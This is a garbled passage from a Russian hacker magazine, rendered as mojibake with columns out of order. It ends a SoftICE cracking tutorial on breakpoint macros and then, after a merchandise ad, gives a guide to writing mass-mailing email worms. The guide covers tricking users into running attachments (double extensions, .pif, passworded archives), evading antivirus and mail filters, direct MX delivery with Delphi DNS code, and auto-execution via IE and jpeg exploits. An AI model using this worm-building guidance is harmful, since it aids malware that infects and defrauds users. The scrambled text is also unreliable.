íèêàêîé çàùèòíûé ìåõàíèçì íå èñïîëüçîâàë íåçàäåéñòâîâàííûé ñòåê,
òî îòëàæèâàåìàÿ ïðîãðàììà íå ðóõíåò.

Êñòàòè ãîâîðÿ, ïîä Windows 9x ñ íåêîòîðîé âåðîÿòíîñòüþ ñáîè
âñå-òàêè áóäóò ïðîèñõîäèòü, ïîñêîëüêó îíà àêòèâíî ìóñîðèò â
ñòåêå. ×òîáû íå äàòü åé õóëèãàíèòü, ðåãèñòð ESP ñëåäóåò íà
âðåìÿ âûïîëíåíèÿ âñåõ îïåðàöèé ïîäòÿíóòü íàâåðõ, à çàòåì
ñíîâà îïóñòèòü íàçàä.
Åñòåñòâåííî, íåîáÿçàòåëüíî êàæäûé ðàç íàáèâàòü ìàøèííûå
êîäû âðó÷íóþ. Çàíÿòèå ýòî óòîìèòåëüíîå, è ïðèÿòíûì åãî íè-
êàê íå íàçîâåøü. Âîò òóò-òî íàì è ïðèãîäÿòñÿ ìàêðîñû! Ãîâî-
ðèì 'MACRO MACRO_NAME = "xxxxx"' è çàíîñèì ìàêðîñ â ñïè-
ñîê ïîñòîÿííûõ. Ýòî äåëàåòñÿ òàê: çàïóñêàì Symbol Loader, çà-
õîäèì â Edit -> SoftICE Initialization Setting, ïåðåõîäèì ê âêëàä-
êå Macro Definitions, íàæèìàåì Add, äàåì ìàêðîñó èìÿ (name)
è òåëî (definition). Òåïåðü ìàêðîñ áóäåò àâòîìàòè÷åñêè çàãðó-
æàòüñÿ âìåñòå ñ SoftICE. Ìîæíî ñîçäàòü áèáëèîòåêó ñîáñòâåí-
íûõ ðàñøèðåííûõ óñëîâíûõ òî÷åê îñòàíîâà, ïîääåðæèâàþùèõ
òàêèå ôóíêöèè ïîèñêà ïîäñòðîêè â ñòðîêå èëè ñðàâíåíèÿ ñòðîê
ïî øàáëîíàì '*' è '?'. Ýòî äåéñòâèòåëüíî ìîæíî ñäåëàòü, è òîã-
äà ìîùü SoftICE ìíîãîêðàòíî âîçðàñòåò, êðîìå òîãî, ìû ïîëó-
÷èì çàìå÷àòåëüíûé øàíñ ïîïðàêòèêîâàòüñÿ ñ ïðîãðàììèðîâà-
íèåì â ìàøèííûõ êîäàõ!
Êñòàòè ãîâîðÿ, ìàêðîñû ïîçâîëÿþò ðåøèòü è äðóãóþ ïðîáëåìó.
Äåëî â òîì, ÷òî SoftICE íå ïîääåðæèâàåò âëîæåííûå òî÷êè îñ-
òàíîâà, áåç êîòîðûõ íàì íèêàê íå îáîéòèñü (êàê ìû ïîìíèì,
äëÿ àíàëèçà ñîäåðæèìîãî ðåãèñòðà EAX íàì ïðèøëîñü ïðèáåã-
íóòü ê ñîçäàíèþ ôèêòèâíîé òî÷êè îñòàíîâà). Åñëè ìû ïîïûòà-
åìñÿ íàïèñàòü: 'BPX CreateFileA DO "xxx; bpx EIP DO "XXXX";
x;"', òî íè÷åãî íå ïîëó÷èòñÿ! SoftICE çàïóòàåòñÿ â êàâû÷êàõ è îò-
êàæåòñÿ ïåðåâàðèâàòü òàêóþ êîíñòðóêöèþ. Íî åñëè îôîðìèòü
'bpx EIP DO "XXXX"' â âèäå ìàêðîñà, íàçâàííîãî, íàïðèìåð,

XYZ, òî êîíñòðóêöèÿ 'BPX CreateFileA DO "xxx; XYZ; x;"' áóäåò âîñïðèíÿ-
òà îòëàä÷èêîì âïîëíå áëàãîñêëîííî.

[àíèìý è SoftICE] Íåêîòîðûå îòëàä÷èêè (òàêèå, íàïðèìåð, êàê
OllyDbg) èìåþò îäíó ïîëåçíóþ ôèøêó, êîòîðóþ íå èìååò SoftICE. 
À èìåííî � âîçìîæíîñòü ïîøàãîâîé àíèìèðîâàííîé òðàññèðîâêè ñ óñ-
ëîâíûìè òî÷êàìè îñòàíîâà íà êàæäîì õîäó. Íàïðèìåð, ìîæíî ïîñòà-
âèòü òî÷êó îñòàíîâà íà êîíñòðóêöèþ 'TEST EAX,EAX/Jx XXX', çàñòàâèâ
îòëàä÷èê âñïëûâàòü âñÿêèé ðàç, êîãäà EAX áóäåò ðàâåí íóëþ èëè ëþáî-
ìó äðóãîìó çíà÷åíèþ íà íàø âûáîð. ×òî-òî âðîäå 'BPX IF
(*word(EIP)==0xC085 && (*byte(EIP+2) & 70h)==70h)'. Çäåñü 0xC085 � îï-
êîä êîìàíäû TEST EAX,EAX, à 70h � ìàñêà èíñòðóêöèè Jx, íó à âñÿ òî÷-
êà îñòàíîâà â öåëîì ïîçâîëÿåò îòëàâëèâàòü êîä òèïà "if
(func(1,2,3)!=0)�", êîòîðûå ÷àñòî èñïîëüçóåòñÿ â çàùèòíûõ ìåõàíèçìàõ.
SoftICE òàêèõ øóòîê íå ïîíèìàåò è òðåáóåò, ÷òîáû àäðåñ òî÷êè îñòà-
íîâà áûë çàäàí ÿâíî, íàïðèìåð 'BPX EIP...', íî è â ýòîì ñëó÷àå îí
ñîçäàåò îäíó åäèíñòâåííóþ òî÷êó îñòàíîâà, îïèðàÿñü íà òåêóùåå
çíà÷åíèå EIP (êàêèì îíî áûëî â ìîìåíò ñîçäàíèÿ òî÷êè îñòàíîâà) è
îòêàçûâàÿñü àâòîìàòè÷åñêè «ïåðåñ÷èòûâàòü» åãî ïî õîäó ñëåäîâà-
íèÿ ïðîãðàììû. Êàêàÿ æàëîñòü! À âåäü ðàäè ýòîé âîçìîæíîñòè ìíî-
ãèå õàêåðû îòêàçûâàþòñÿ îò ïðèâû÷íîãî SoftICE è ìèãðèðóþò â ñòî-
ðîíó OllyDbg. Ìåæäó òåì, ðåøåíèå åñòü!
Ìàêðîñû ìîãóò áûòü âëîæåííûìè! Ïîïðîáóéòå íàïèñàòü 'MACRO
XYZ="T; XYZ;"', íàáåðèòå XYZ è ïîñìîòðèòå ÷òî ïîëó÷èòñÿ. SoftICE íà÷-
íåò àíèìèðîâàòü ïðîãðàììó! Íå ñëèøêîì áûñòðî, íî âñå-òàêè äîñòàòî÷-
íî ïðîèçâîäèòåëüíî. Âî âñÿêîì ñëó÷àå, äëÿ ðàñïàêîâêè íàâåñíûõ óïà-
êîâùèêîâ âïîëíå ïîäîéäåò.
Êîëü ñêîðî ìû íàó÷èëèñü àíèìèðîâàòü ïðîãðàììó, ñîçäàíèå óñëîâíûõ
òî÷åê óæå íå ñòàíåò ïðîáëåìîé. Âîò, íàïðèìåð, òàêîé ïîëåçíûé ìàêðîñ:
'MACRO XYZ = "BPX EIP;T;XYZ;"'. ×òî îí äåëàåò? À âîò ÷òî! Îí âûäåëÿ-
åò òðàññó ñëåäîâàíèÿ ïðîãðàììû, ïîìå÷àÿ âûïîëíåííûé êîä, è ìû ñðà-
çó âèäèì, êàêèå óñëîâíûå ïåðåõîäû âûïîëíÿëèñü, à êàêèå íåò. Òîëüêî
íåîáõîäèìî ó÷èòûâàòü, ÷òî êîëè÷åñòâî òî÷åê îñòàíîâà îãðàíè÷åííî, 
è ïîòîìó èõ ïåðèîäè÷åñêè íåîáõîäèìî ñíèìàòü.

[çàêëþ÷åíèå] SoftICE � ýòî äåéñòâèòåëüíî ìîùíûé èíñòðóìåíò íå-
îáûêíîâåííîé ðàçðóøèòåëüíîé ñèëû, êîòîðûé ïîçâîëÿåò äåëàòü âñå,
÷òî íóæíî. Ãëàâíîå � ôàíòàçèþ èìåòü. Ðóññêèé ìóæèê âñåãäà îòëè÷àë-
ñÿ óìåíèåì ñîáèðàòü èç âñÿêèõ ïîäðó÷íûõ ñðåäñòâ ïîòðÿñàþùèå âåùè.
Âîò òàê è ñ îòëàäêîé. Âìåñòî òîãî ÷òîáû èñêàòü îòëàä÷èê, ðåàëèçóþùèé
íåîáõîäèìûé íàì ôóíêöèîíàë, ìû ìîæåì âçÿòü â ðóêè íàïèëüíèê è äî-
ðàáîòàòü óæå ñóùåñòâóþùèé, òåì áîëåå ÷òî ëîããèíã � ýòî íå åäèí-
ñòâåííàÿ àëüòåðíàòèâíàÿ ïðîôåññèÿ SoftICE. Ïðè æåëàíèè èç íåãî
ìîæíî ñîîðóäèòü îòëè÷íûé äàìïåð èëè ÷òî-òî åùå. Íî ýòî òåìà óæå
äðóãîãî ðàçãîâîðà.
Ãëàâíîå � ñõâàòèòü èäåþ. Ýòà ñòàòüÿ íå ïðåäëàãàåò ãîòîâûõ ðåøåíèé,
íî çàòî ïîäíèìàåò öåëûé ïëàñò âîçìîæíîñòåé, êîòîðûå êàæäûé ìîæåò
èñïîëüçîâàòü ïî ñâîåìó óñìîòðåíèþ [X
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GamePost 

ÝÊÑÊËÞÇÈÂÍÀß
ÊÎËËÅÊÖÈß ÎÄÅÆÄÛ

È ÀÊÑÅÑÑÓÀÐÎÂ
ÎÒ ÆÓÐÍÀËÀ

ÕÀÊÅÐ

XAKEP STUFF
ÊÐÓÆÊÀ + ÔËßÆÊÀ + ÇÀÆÈÃÀËÊÀ

ÖÅÍÀ: 6.99USD ÊÎÄ ÒÎÂÀÐÀ: COF13771

«ÎÏÀÑÍÎ ÄËß ÆÈÇÍÈ» 
ÊÎÂÐÈÊ ÄËß ÌÛØÈ

ÖÅÍÀ:39.99USD ÊÎÄ ÒÎÂÀÐÀ: COF14827

«C.I.A. - CENTRAL INTELLIGENCE
AGENCY»  
ÒÎËÑÒÎÂÊÀ 

ÖÅÍÀ:12.99USD ÊÎÄ ÒÎÂÀÐÀ: COF14018

Ñ ËÎÃÎÒÈÏÎÌ «ÕÀÊÅÐ»
ÏÈÂÍÀß ÊÐÓÆÊÀ ÑÎ ØÊÀËÎÉ

«ÕÀÊÅÐ INSIDE»
ÔÓÒÁÎËÊÀ

«WWW - WE WANT WOMEN'' »
ÒÎËÑÒÎÂÊÀ

«HACK OFF»
ÔÓÒÁÎËÊÀ

«FBI»
ÂÅÒÐÎÂÊÀ

ÖÅÍÀ:11.99USD ÊÎÄ ÒÎÂÀÐÀ: COF14590

«ÕÀÊÅÐ � ÄÅÍÜÃÈ»
ÇÀÆÈÌ ÄËß ÄÅÍÅÃ

ÖÅÍÀ:11.99USD ÊÎÄ ÒÎÂÀÐÀ: COF14591

«ÕÀÊÅÐ»
ÊÎÆÀÍÛÉ ØÍÓÐÎÊ ÄËß ÌÎÁÈËÜÍÈÊÀ

ÖÅÍÀ:11.99 USD ÊÎÄ ÒÎÂÀÐÀ: COF13862

Ñ ËÎÃÎÒÈÏÎÌ «ÕÀÊÅÐ»
ÇÀÆÈÃÀËÊÀ ÌÅÒÀËËÈ×ÅÑÊÀß

ÖÅÍÀ:22.99USD ÊÎÄ ÒÎÂÀÐÀ: COF13861

«ÕÀÊÅÐ»
ÐÓ×ÊÀ SENATOR ÌÅÒÀË. Ñ ÃÐÀÂÈÐÎÂÊÎÉ

XÒÎÂÀÐÛ

ÂÑÒÈËÅ
* *

new!!!

LIMITED
!!!

ÖÅÍÀ:69.99USD ÊÎÄ ÒÎÂÀÐÀ: COF16384



ÒÀÊÎÅ ßÂËÅÍÈÅ, ÊÀÊ ÌÀÑÑÎÂÎÅ
ÐÀÑÏÐÎÑÒÐÀÍÅÍÈÅ ×ÅÐÂÅÉ Â ÑÅÒÈ
ÊÎÑÍÓËÀÑÜ, ÄÓÌÀÞ, ËÞÁÎÃÎ. ÍÀ-
ÂÅÐÍßÊÀ ÒÛ ÓÆÅ ÇÍÀÅØÜ ÒÀÊÈÕ
ÑÅÒÅÂÛÕ ÏÐÅÄÑÒÀÂÈÒÅËÅÉ ÁÅÑ-
ÏÎÇÂÎÍÎ×ÍÛÕ, ÊÀÊ BEAGLE È
MYDOOM, ÎÍÈ ÇÀÐÀÇÈËÈ ÑÎÒÍÈ
ÒÛÑß× ÌÀØÈÍ È ÍÀÄÅËÀËÈ ÍÅÌÀ-
ËÎ ØÓÌÀ. ÌÎÆÅÒ ÁÛÒÜ, ÒÛ ÄÓÌÀ-
ÅØÜ, ×ÒÎ ÑÄÅËÀÒÜ ÑÀÌÎÌÓ ÏÎ-

ÄÎÁÍÎÃÎ ÇÂÅÐß Î×ÅÍÜ ÒÐÓÄÍÎ?
ÝÒÎ ÍÅ ÒÀÊ, ÌÛËÜÍÛÉ ×ÅÐÂÜ ÍÀ
ÑÀÌÎÌ ÄÅËÅ ÍÅ ÏÐÅÄÑÒÀÂËßÅÒ
ÑÎÁÎÉ ÍÈ×ÅÃÎ ÑËÎÆÍÎÃÎ. È Â
ÝÒÎÉ ÑÒÀÒÜÅ ß ÝÒÎ ÏÎÏÛÒÀÞÑÜ
ÄÎÊÀÇÀÒÜ, ÐÀÑÑÊÀÇÀÂ ÒÅÁÅ Î
ÏÐÈÍÖÈÏÀÕ ÔÓÍÊÖÈÎÍÈÐÎÂÀÍÈß
ÌÛËÜÍÛÕ ×ÅÐÂÅÉ È ÎÁ ÎÑÎÁÅÍ-
ÍÎÑÒßÕ ÈÕ ÐÅÀËÈÇÀÖÈÈ. ÍÎ ÕÎ×Ó
ÒÅÁß ÑÐÀÇÓ ÏÐÅÄÎÑÒÅÐÅ×Ü, ×ÒÎ

×ÅÐÂÈ ×ÐÅÇÂÛ×ÀÉÍÎ ÎÏÀÑÍÛ, ÏÎ-
ÝÒÎÌÓ ÎÁÐÀÙÀÒÜÑß Ñ ÍÈÌÈ ÍÀÄÎ
ÑÎ ÂÑÅÉ ÎÑÒÎÐÎÆÍÎÑÒÜÞ, ÈÍÀ×Å
ÌÎÆÍÎ ÍÀÄÅËÀÒÜ ÁÅÄ È ÇÀÃÐÅ-
ÌÅÒÜ ÇÀ ÐÅØÅÒÊÓ. ÒÀÊ ×ÒÎ ÂÑÅ ÍÀ-
ÏÈÑÀÍÍÎÅ Â ÝÒÎÉ ÑÒÀÒÜÅ ÑËÅÄÓ-
ÅÒ ÈÑÏÎËÜÇÎÂÀÒÜ ÒÎËÜÊÎ Â Ó×ÅÁ-
ÍÛÕ ÖÅËßÕ. Â ÎÁÙÅÌ, ÍÀ×ÈÍÀÅÌ
ÐÀÇÂÎÄÈÒÜ ×ÅÐÂÅÉ
| Ms-Rem (Ms-Rem@yandex.ru)

[êàê ðàáîòàåò ÷åðâü?] Îáùèé ïðèíöèï ðàáîòû âñåõ ìûëüíûõ ÷åðâåé �
ýòî ðàññûëêà ïèñåì, â àòòà÷àõ êîòîðûõ íàõîäèòñÿ êîïèÿ ÷åðâÿ, ïðåäíàç-
íà÷åííàÿ þçåðó. Íàâåðíî, òû äóìàåøü, ÷òî ýòî âçäîð, àòòà÷è ñåé÷àñ íèê-
òî íå çàïóñêàåò. Îäíàêî ñòàòèñòèêà ãîâîðèò, ÷òî ïðèëîæåíèÿ â ñîìíè-
òåëüíûõ ïèñüìàõ çàïóñêàåò 2�3% ïîëüçîâàòåëåé, à ýòîãî âïîëíå äîñòà-
òî÷íî äëÿ óñïåøíîãî ðàñïðîñòðàíåíèÿ ÷åðâåé. Ïîñëå çàïóñêà ÷åðâü êà-
êèì-ëèáî îáðàçîì ïðîïèñûâàåò ñåáÿ â àâòîçàãðóçêó. Ñëåäóþùèì ýòàïîì
ðàáîòû ÷åðâÿ ÿâëÿåòñÿ ïîèñê âñåõ e-mail àäðåñîâ íà çàðàæåííîé ìàøè-
íå, îíè èçâëåêàþòñÿ èç àäðåñíîé êíèãè Outlook (ëèáî äðóãèõ ïî÷òîâûõ
ïðîãðàìì) è èùóòñÿ â html-, txt- è doc-ôàéëàõ ïî âñåì äèñêàì çàðàæåí-
íîé ìàøèíû. Òðåòüèì ýòàïîì æèçíè ÷åðâÿ ÿâëÿåòñÿ ðàññûëêà ñåáÿ ïî
âñåì íàéäåííûì àäðåñàì. Âñå ýòî ñ ïåðâîãî âçãëÿäà êàæåòñÿ ïðèìèòèâ-
íûì, íî íà âñåõ ýòàïàõ åñòü ìíîæåñòâî âàæíûõ òîíêîñòåé, êîòîðûå íóæ-
íî îáÿçàòåëüíî ó÷åñòü äëÿ òîãî, ÷òîáû ÷åðâü ñòàë æèçíåñïîñîáíûì. Íå-
îáõîäèìî çàñòàâèòü ñåðâåð ïðèíÿòü ïèñüìî, à ïîëüçîâàòåëÿ çàïóñòèòü âÞ
Í

È
Ò

Û

àòòà÷. Íåòðèâèàëüíîé òàêæå áóäåò áîðüáà ñ àíòèâèðóñàìè, ñïàìôèëüò-
ðàìè ïî÷òîâûõ ñèñòåì, ôàéðâîëàìè è ðàçëè÷íûìè ôèëüòðàìè àòòà÷åé â
mail-êëèåíòàõ. Êîðî÷å ãîâîðÿ, ïðîáëåì ó ÷åðâåïèñàòåëåé õâàòàåò. Èòàê,
ïðèñòóïèì ê ðàññìîòðåíèþ âñåõ ýòàïîâ æèçíè ÷åðâÿ ïî ïîðÿäêó.
Íà÷íåì ñ ñàìîãî âàæíîãî, ïî ìîåìó ìíåíèþ, âîïðîñà, êîòîðûé âîçíèêà-
åò ïðè ñîçäàíèè ÷åðâÿ: êàê çàñòàâèòü þçåðà çàïóñòèòü àòòà÷? Â ïåðâóþ
î÷åðåäü íóæíî îáîéòè ïðîáëåìû òåõíè÷åñêîãî õàðàêòåðà, ãëàâíîé èç
êîòîðûõ ìîæåò áûòü çàïðåò îòêðûòèÿ èñïîëíÿåìûõ ôàéëîâ ïî÷òîâîé
ïðîãðàììîé. Óæå äàâíî ïðîøëè âðåìåíà, êîãäà ìîæíî áûëî ñìåëî ïî-
ñûëàòü íà ìûëî exe-ôàéë è íàäåÿòüñÿ, ÷òî ïîëüçîâàòåëü åãî çàïóñòèò.
Ñåé÷àñ äàæå ñàìûé òóïîé þçåð (íà êîòîðîãî è ðàññ÷èòàíû ìûëüíûå
÷åðâè) íå çàïóñòèò òàêîé àòòà÷ ïî òîé ïðè÷èíå, ÷òî åìó íå äàñò ýòî ñäå-
ëàòü ïî÷òîâàÿ ïðîãðàììà, ëèáî ïèñüìî áóäåò óäàëåíî ôèëüòðîì âëîæå-
íèé ôàéðâîëà. Ïåðâîå, ÷òî ïðèõîäèò íà óì, � ýòî çàñóíóòü èñïîëíÿå-
ìûé ôàéë â àðõèâ. Ïî÷òîâûå ôèëüòðû íå ðèñêíóò óäàëÿòü òàêèå àòòà÷è, 
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ìàë è äåêîäèðîâàë îòâåò. Âòîðîé � èñïîëüçî-
âàòü äëÿ ýòîãî DNS API. Âòîðîé âàðèàíò, êîíå÷-
íî, ãîðàçäî ïðîùå, íî îí èìååò îäèí áîëüøîé
íåäîñòàòîê � ôóíêöèè DNS API ïîÿâèëèñü
òîëüêî â Windows 2000 Professional (â íå Pro
âåðñèÿõ îíè îòñóòñòâóþò!), à òàê êàê îñíîâíûì
êîíòèíãåíòîì ïîëüçîâàòåëåé, çàðàæàåìûõ ïî÷-
òîâûìè ÷åðâÿìè, áóäóò ëàìåðû, ñèäÿùèå íà
ñòàðûõ è íåîáíîâëåííûõ ñèñòåìàõ, òî òàêîé
ìåòîä ðåçîëâèíãà ëó÷øå íå èñïîëüçîâàòü. Îä-
íàêî äëÿ îçíàêîìëåíèÿ ñ DNS API, ÿ ïðèâåäó
êîä, ðåçîëâÿùèé MX-çàïèñè.

function MXResolve(Domain: PChar): string;
var

pQueryResultsSet: PDNS_RECORD;
HostEnt: PHostEnt;
Name: PChar;

begin
pQueryResultsSet := nil;
if DnsQuery(Domain, DNS_TYPE_MX,

DNS_QUERY_STANDARD, nil,
@pQueryResultsSet, nil) = 0 then

begin
Result := pQueryResultsSet^.Data.

MX.pNameExchange;
GlobalFree(dword(pQueryResultsSet));
end;

end;

Êàê òû âèäèøü, ðåçîëâèòü ñ ïîìîùüþ DNS API
ïðîùå ïðîñòîãî, íî òàê êàê ýòîò ìåòîä íå âñåã-
äà ïðèåìëåì, ïåðåéäåì ê ðàññìîòðåíèþ ñëåäó-
þùåãî ìåòîäà.

[ðó÷íîé DNS ðåçîëâèíã] ß ïîïûòàþñü ðàñ-
ñêàçàòü íåìíîãî î DNS-ïðîòîêîëå. ß íå ñòàâëþ
ïåðåä ñîáîé öåëè ïîäðîáíî ðàññêàçûâàòü îáî
âñåé ñèñòåìå, íî ïîïûòàþñü äàòü îñíîâíûå ïî-
íÿòèÿ, íåîáõîäèìûå äëÿ ïîíèìàíèÿ ýòîãî ïðî-
òîêîëà. Ïîäðîáíî òû ìîæåøü âñå ïðî÷èòàòü â
äîêóìåíòàöèè RFC 1034 è 1035.
DNS-çàïðîñû áûâàþò ðàçíîãî òèïà. Òèï çàïðî-
ñà èìååò ÷èñëîâîå çíà÷åíèå îò 1 äî 16 è îïðå-
äåëÿåò èíôîðìàöèþ, êîòîðóþ âû æåëàåòå ïî-
ëó÷èòü. Íîìåð òèïà îòâåòà âñåãäà ñîîòâåòñòâó-
åò íîìåðó òèïà çàïðîñà, ÷òîáû çíàòü, ÷òî è ê
÷åìó îòíîñèòñÿ. Âîò îñíîâíûå òèïû DNS-çàï-
ðîñîâ:

01 A host address (IP àäðåñ õîñòà)
02 NS authoritative name server 

(NS ñåðâåð)
03 MD mail destination 

(óñòàð.òèï, ñåé÷àñ þçàþò MX)
04 MF mail forwarder

(óñòàð.òèï, ñåé÷àñ þçàþò MX)
05 CNAME the canonical name for alias
06 SOA marks of a start of zone of authority
07 MB (experimental)
08 MG (experimental)
09 MR mail rename domain name 
10 NULL a null RR
11 WKS a well known service description
12 PTR a domain name pointer
13 HINFO host information
14 MINFO mail box or mail list information
15 MX mail exchange
16 TXT text string

Èç íèõ íàñ èíòåðåñóþò òîëüêî MX-çàïèñè, èìå-
þùèå íîìåð 15. Íàðÿäó ñ òèïîì çàïðîñà, ñóùå-
ñòâóåò åùå è êëàññ çàïðîñà. Ýòî ñâÿçàíî ñ òåì,
÷òî ïðîòîêîë DNS óíèâåðñàëåí  è ìîæåò ðàáî-
òàòü ïðàêòè÷åñêè â ëþáûõ ñåòÿõ, à íå òîëüêî â
TCP/IP. Òàê êàê äðóãèå ñåòè íàì íå ïîíàäîáÿò-
ñÿ, íàñ áóäåò èíòåðåñîâàòü òîëüêî îäèí êëàññ

à þçåðó íåòðóäíî áóäåò îòêðûòü òà-
êîé àðõèâ è çàïóñòèòü ôàéë. Åñëè íà
àðõèâ òàêæå ïîñòàâèòü ïàðîëü è çà-
ïèñàòü åãî â òåêñòå ïèñüìà, òî áóäóò
ïàñîâàòü è àíòèâèðóñû íà ïî÷òîâûõ
ñåðâåðàõ, îäíàêî ïðîöåíò çàðàæåíèé
íåñêîëüêî ñíèçèòñÿ.
Äîïóñòèì, íàì óäàëîñü ñîçäàòü àò-
òà÷, êîòîðûé ïðîõîäèò âñå mail-
ôèëüòðû è  óñïåøíî ïîïàäàåò ê ïîëü-
çîâàòåëþ. Òåïåðü âîçíèêàåò çàäà÷à
çàñòàâèòü þçåðà åãî çàïóñòèòü. Èç-
äàâíà äëÿ ýòîãî èñïîëüçóþò ñîöèàëü-
íóþ èíæåíåðèþ, òî åñòü îáû÷íûé
ðàçâîä. Äëÿ ýòîãî â ïèñüìå ïèøóò,
÷òî îíî ñîäåðæèò security updates èëè
åùå êàêîþ-íèáóäü ïîëåçíóþ ïðîã-
ðàììó. Òàêæå ðàñïðîñòðàíåí ìåòîä
ñîçäàíèÿ â àðõèâàõ ôàéëîâ ñ äâîé-
íûìè ðàñøèðåíèÿìè, ïðè ýòîì ôàéë
îáû÷íî èìååò ðàñøèðåíèå .xls [î÷åíü
ìíîãî ïðîáåëîâ].exe è èêîíêó äîêó-
ìåíòà Microsoft Exñel. ×àñòî òðîÿíû â
àòòà÷àõ èìåþò ðàñøèðåíèå .pif, êîòî-
ðîå íå îòîáðàæàåòñÿ â ýêñïëîðåðå
äàæå òîãäà, êîãäà âêëþ÷åíî îòîáðà-
æåíèå ðàñøèðåíèé âñåõ ôàéëîâ. 
×òî òàêîå ÷åðâü, è êàê îí äîëæåí ðà-
áîòàòü, äóìàþ, òåáå ïîíÿòíî. Òåïåðü
ïðèñòóïèì íåïîñðåäñòâåííî ê ðàñ-
ñìîòðåíèþ òåõíè÷åñêèõ âîïðîñîâ,
êîòîðûå âîçíèêàþò â ïðîöåññå ñîç-
äàíèÿ áåñïîçâîíî÷íûõ.

[ðåëåèíã è ðåçîëâèíã] Ïðîáëåìà
¹1, êîòîðóþ íàì íóæíî ðåøèòü, �
ýòî ñàìà îòñûëêà êîïèè ÷åðâÿ íà e-
mail àäðåñ. Â ñòàòüå «Ìåòîäû óïðàâ-
ëåíèÿ RAT», â èþëüñêîì íîìåðå, ÿ
ðàññìàòðèâàë ïðîöåññ îòïðàâêè ìû-
ëà ÷åðåç SMTP-ñåðâåð mail.ru. Òàêîé
ìåòîä îòïðàâêè ïîäõîäèò äëÿ ðàç-
ëè÷íûõ ïàðîëüíûõ òðîÿíîâ, íî äëÿ
ìàññîâîé ðàññûëêè ÷åðâåé íåïðèìå-
íèì. Ïîòîìó ÷òî äëÿ åãî ðàáîòû íóæ-
íî èìåòü îäèí èëè íåñêîëüêî ïîñòî-
ÿííî ðàáîòàþùèõ SMTP-ñåðâåðîâ,
÷åðåç êîòîðûå áóäåò èäòè ïî÷òà. ß
äóìàþ, òû óæå ïîíÿë, ÷òî òàêèå ñåð-
âåðû ìãíîâåííî ïðèêðîþò äîñòóï ê
ñåáå, êàê òîëüêî ÷åðâÿ îáíàðóæàò, äà
è âðÿä ëè êàêîé-òî SMTP ñìîæåò âû-
äåðæàòü íàãðóçêó, äàâàåìóþ òûñÿ÷à-
ìè ðàñïðîñòðàíÿþùèõñÿ ÷åðâåé. Ïî-
ýòîìó íàì íóæíî îòïðàâëÿòü ïî÷òó,
ìèíóÿ öåíòðàëüíûé SMTP-ñåðâåð. 
×òî ïðîèñõîäèò ñ ïèñüìîì, îòïðàâëåí-
íûì ÷åðåç êàêîé-íèáóäü smtp.mail.ru?
Â ýòîì ñëó÷àå ñåðâåð ìàèë.ðó ðàáîòà-
åò, êàê SMTP Relay, òî åñòü êàê ïåðå-
íàïðàâèòåëü ñîîáùåíèÿ îò êëèåíòà íà
SMTP-ñåðâåð ïîëó÷àòåëÿ. À çà÷åì â
öåïî÷êå ðàññûëêè ëèøíèé ýëåìåíò,
âåäü ìîæíî îòïðàâëÿòü ïî÷òó íàïðÿ-
ìóþ ïîëó÷àòåëþ, ìèíóÿ SMTP Relay.
Êàê æå íàì óçíàòü àäðåñ SMTP ñåðâå-
ðà ïîëó÷àòåëÿ? Ýòî î÷åíü ïðîñòî! Àä-
ðåñ SMTP, ïðèíèìàþùåãî ïî÷òó â êà-
êîì-ëèáî äîìåíå, âñåãäà îïðåäåëÿåò-
ñÿ ñîîòâåòñòâóþùåé MX-çàïèñüþ äëÿ
ýòîãî äîìåíà íà DNS-ñåðâåðàõ. 
Äëÿ íà÷àëà íàì íóæíî ñäåëàòü ðå-
çîëâèíã MX-çàïèñè íóæíîãî äîìåíà.
Ðåàëèçóåòñÿ ýòî äâóìÿ ñïîñîáàìè.
Ïåðâûé � íàïèñàíèå ñâîåãî DNS
Resolver'à, êîòîðûé áû ôîðìèðîâàë
çàïðîñ, ïîñûëàë åãî ñåðâåðó, ïðèíè-

ÀÂÒÎÇÀÏÓÑÊ ÀÀÒÒÀ×À
Íåäîñòàòîê áîëüøèíñòâà ìûëüíûõ ÷åðâåé â
òîì, ÷òî äëÿ èõ çàïóñêà íóæíû äåéñòâèÿ ïîëüçî-
âàòåëÿ. Íî ýòîãî ìîæíî èçáåæàòü, åñëè èñïîëü-
çîâàòü óÿçâèìîñòè â ïî÷òîâîì ÏÎ. Íàèáîëåå
ïîïóëÿðíûé â íàðîäå ïî÷òîâûé êëèåíò �
Outlook Express ïðè ïðîñìîòðå html-ïèñåì èñ-
ïîëüçóåò äâèæîê Internet Explorer. Âñåì èçâåñò-
íî, ÷òî ýòîò äâèæîê îòëè÷àåòñÿ èñêëþ÷èòåëüíîé
äûðÿâîñòüþ. Íà IE áûëî âûïóùåíî ìíîæåñòâî
ýêñïëîéòîâ, çàïóñêàþùèõ êîä íà óÿçâèìîé ìà-
øèíå, è áîëüøèíñòâî èõ ìîæíî èñïîëüçîâàòü
äëÿ àâòîçàïóñêà ÷åðâÿ ïðè îòêðûòèè ïèñüìà! Çà
òàêóþ çàìå÷àòåëüíóþ âîçìîæíîñòü íàì íóæíî
ïîáëàãîäàðèòü Áèëëà Ãåéòñà, à ðàçðàáîò÷èêàì
IE íóæíî ïàìÿòíèê ïðè æèçíè ïîñòàâèòü çà òî,
÷òî îíè ñäåëàëè â íåì ìíîãî óäîáíûõ äëÿ èñ-
ïîëüçîâàíèÿ äûð :). 
Î÷åíü ñòðàííî, ÷òî ýòó âîçìîæíîñòü èñïîëüçóåò
î÷åíü ìàëî ÷åðâåé. Êàê ïðèìåð ìîæíî ïðèâåñ-
òè ÷åðâÿ Winevar. ×åðâÿê ýòîò î÷åíü ñòàðûé
(åùå 2002 ãîäà), íî îòëè÷àåòñÿ îò áîëüøèíñòâà
äðóãèõ ÷åðâåé òåì, ÷òî èñïîëüçóåò äûðêó iFrame
è çàïóñêàåòñÿ ïðè ïðîñìîòðå ïèñüìà â îêíå
áûñòðîãî ïðîñìîòðà Outlook. Ýòî, êîíå÷íî, êðó-
òî, íî åñòü âîçìîæíîñòü ëó÷øå. Íàâåðíîå, òû
ñëûøàë î ñóùåñòâîâàíèè jpeg-ýêñïëîéòà. Ñó-
ùåñòâîâàíèå ýòîãî ýêñïëîéòà ñâÿçàíî ñ îøèá-
êîé â îáðàáîòêå jpeg-ôàéëîâ â ñèñòåìíîé áèá-
ëèîòåêå, ÷òî ïîçâîëÿåò çàðàçèòü êîìï ÷åðåç
ëþáóþ ïðîãðàììó, ïîêàçûâàþùóþ jpeg-êàðòèí-
êè! Ýòî ìîæíî èñïîëüçîâàòü íå òîëüêî â
Outlook, íî è â äðóãèõ ïî÷òîâûõ êëèåíòàõ, òàêèõ
êàê TheBat èëè Eudora. Íà äèñêå òû íàéäåøü
